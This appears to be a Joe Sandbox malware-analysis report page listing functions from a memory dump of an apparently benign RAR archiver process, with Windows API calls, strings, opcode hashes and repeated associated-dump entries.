Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: ac8539bf93731dd87bc053c5acd49409a96c7693653031637f4456a539aecff4
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: 585150F3F3C9848AE7544F1CE841BA96650F364BA1F945A28F55A93B84D63DDB488B00

Function 00007FF71D2C6E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF71D2C6EC8
wcschr.LIBVCRUNTIME ref: 00007FF71D2C6F16

Strings

MCAOmcao, xrefs: 00007FF71D2C6EC1
MCAOmcao, xrefs: 00007FF71D2C6F0F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: 61a86fea804ad8d4239bbcf60dfcefd08012dc4fc821e5ffc7fc0d55fe98f77f
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: F6419212D1CD8380FA30BB2045515BED251AF50BA4FD84435EA7E062E6FE2DF859DB31

Function 00007FF71D2D3528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF71D2D359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D35E6

Part of subcall function 00007FF71D2D30C8: GetFileAttributesW.KERNELBASE(00000800,00007FF71D2D305D,?,?,?,?,?,?,?,?,00007FF71D2E4126,?,?,?,?,00000800), ref: 00007FF71D2D30F0
Part of subcall function 00007FF71D2D30C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF71D2E4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF71D2D3119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D3651

Strings

%u.%03u, xrefs: 00007FF71D2D35A7, 00007FF71D2D3630

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: e27f4123eac550de387ce715d86f3e0140f09c324c71f229c6d48add99db66ae
Instruction ID: e9ecc64947147cbd1e98ed2542f980ee1ac0b249e66ae134e82cc865f8f93f76
Opcode Fuzzy Hash: e27f4123eac550de387ce715d86f3e0140f09c324c71f229c6d48add99db66ae
Instruction Fuzzy Hash: 17314B72A1CD8181E614AB24E5112AAE260F7847B4F901335E97E47BE1FE3CE50ECB10

Function 00007FF71D317854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF71D31793A
WriteFile.KERNEL32 ref: 00007FF71D31796D
GetLastError.KERNEL32 ref: 00007FF71D31798F

Strings

U, xrefs: 00007FF71D317918

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: ed98cdbc0cdb40eacc792d559ed49051fd3e05c0d80608bb202a93edbf6ee91d
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: CF41A272B1CA46C2DB21AF25E4443AAE7A1FB887A4F844035EE4D87784EF3CD449CB50

Function 00007FF71D30D7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D30E7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF71D30E7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF71D30D7E2
RaiseException.KERNEL32 ref: 00007FF71D30D80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF71D30D86C

Strings

csm, xrefs: 00007FF71D30D83F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction ID: 9647174405b56f0ee2e75de464c098f30639368137eb9bc994511dcfbd6bc7f8
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: 0E21097A608A41C2E630AB15E04466EF7A1F788BB5F445239DE9D03B95DF3CE449CB20

Function 00007FF71D2E42CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2E430F
wcschr.LIBVCRUNTIME ref: 00007FF71D2E432C
wcschr.LIBVCRUNTIME ref: 00007FF71D2E433C

Strings

%c:\, xrefs: 00007FF71D2E4302

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: 4e934c8a73f5f13b05cf1273325e460815e2d2630b503b5a2eb4b41f301879a9
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: 71116362A0CB4581EE247F119541069E371AF49BE0BA88535DF6E137D7FF3CE46A8610

Function 00007FF71D2FB780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF71D2FB7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF71D2FB7D0
CreateEventW.KERNEL32 ref: 00007FF71D2FB7E7

Strings

Thread pool initialization failed., xrefs: 00007FF71D2FB803

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: ec18620cd70899fccfbbac2095304bf2a50f3069497fe474df21d8eca64673bc
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: 9111DA32F19A4182F7509F25E4043A9B2A3EBD4BA8F588439CA4D07655EF3D945A8B50

Function 00007FF71D302984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D302B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D302BA7

Part of subcall function 00007FF71D30BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF71D30B313), ref: 00007FF71D30BAB1
Part of subcall function 00007FF71D30BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF71D30B313), ref: 00007FF71D30BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D302BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D302BC3

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 2dff037f2c89b74a30a270817ec26321538c7ed0349a613262083369ed70632f
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: B451D176A09A81C5EB50DF29D4903ACF3A1FB84BA4F848235DE5E47794EF78D119CB20

Function 00007FF71D2D3818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF71D2CF6FC,00000000,?,?,?,?,00007FF71D2D097D), ref: 00007FF71D2D38CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF71D2CF6FC,00000000,?,?,?,?,00007FF71D2D097D,?,?,00000000), ref: 00007FF71D2D391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF71D2CF6FC,00000000,?,?,?,?,00007FF71D2D097D,?,?,00000000), ref: 00007FF71D2D399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF71D2CF6FC,00000000,?,?,?,?,00007FF71D2D097D,?,?,00000000), ref: 00007FF71D2D39A6

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 0a327b2a7523b8e5a310518f0a830a7805d181ea89bccec3bccf2ebd6ae125d4
Instruction ID: a27bfc952e0d4b0e709a3ef46a44b4372ac86a00d0a47031c163d30024f17614
Opcode Fuzzy Hash: 0a327b2a7523b8e5a310518f0a830a7805d181ea89bccec3bccf2ebd6ae125d4
Instruction Fuzzy Hash: 2A41C433A0CE4142EA50AB51E4217BAE6A1BB857B4F904235EEAD477D4FE7CD40D8F10

Function 00007FF71D300244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D3003D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D3003E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D3003EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D300400

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 9dd97df182f14c0727483b3e7253ad47afb665d8a3a098e21309c6c8203fd826
Instruction ID: a3aa9ba7b62b6585ecb0f8d71e028f54e9899b959c04e0b9e165b7fb2a963ff5
Opcode Fuzzy Hash: 9dd97df182f14c0727483b3e7253ad47afb665d8a3a098e21309c6c8203fd826
Instruction Fuzzy Hash: A641C471A0CED2C5EB61BA20D0503BDE394EB44BA4F98443ADB4D06A99EF6CE4498730

Function 00007FF71D315120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D315173
WideCharToMultiByte.KERNEL32 ref: 00007FF71D315245
GetLastError.KERNEL32 ref: 00007FF71D315268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D31529A

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: 59a6b5a73e684288661be41c4daf8a490b133ff5d4f1c93d5954db948c73563f
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: 3341533290DB43C6FB66AB519440379E6A1AF40BB0F984139DA49466D5EF2CE449CF20

Function 00007FF71D2CD048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF71D2B86CB,?,?,?,00007FF71D2BA5CB,?,?,00000000,?,?,00000040,?,?,00007FF71D2B2DF9), ref: 00007FF71D2CD09D
CreateFileW.KERNEL32(?,00007FF71D2B86CB,?,?,?,00007FF71D2BA5CB,?,?,00000000,?,?,00000040,?,?,00007FF71D2B2DF9), ref: 00007FF71D2CD0E5
CreateFileW.KERNEL32(?,00007FF71D2B86CB,?,?,?,00007FF71D2BA5CB,?,?,00000000,?,?,00000040,?,?,00007FF71D2B2DF9), ref: 00007FF71D2CD114
CreateFileW.KERNEL32(?,00007FF71D2B86CB,?,?,?,00007FF71D2BA5CB,?,?,00000000,?,?,00000040,?,?,00007FF71D2B2DF9), ref: 00007FF71D2CD15C

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 28135bfcfff4cd3fa45d96432e05821daa75961e0de84a5cc87b23f677eb57f6
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: 51315E32618B4582E7609F15E55476AB7A0F789BB8F904328EAAC07BC8DF3CD4098F54

Function 00007FF71D2FB4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF71D2FB549
SetPriorityClass.KERNEL32 ref: 00007FF71D2FB554
GetCurrentThread.KERNEL32 ref: 00007FF71D2FB55A
SetThreadPriority.KERNEL32 ref: 00007FF71D2FB565

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
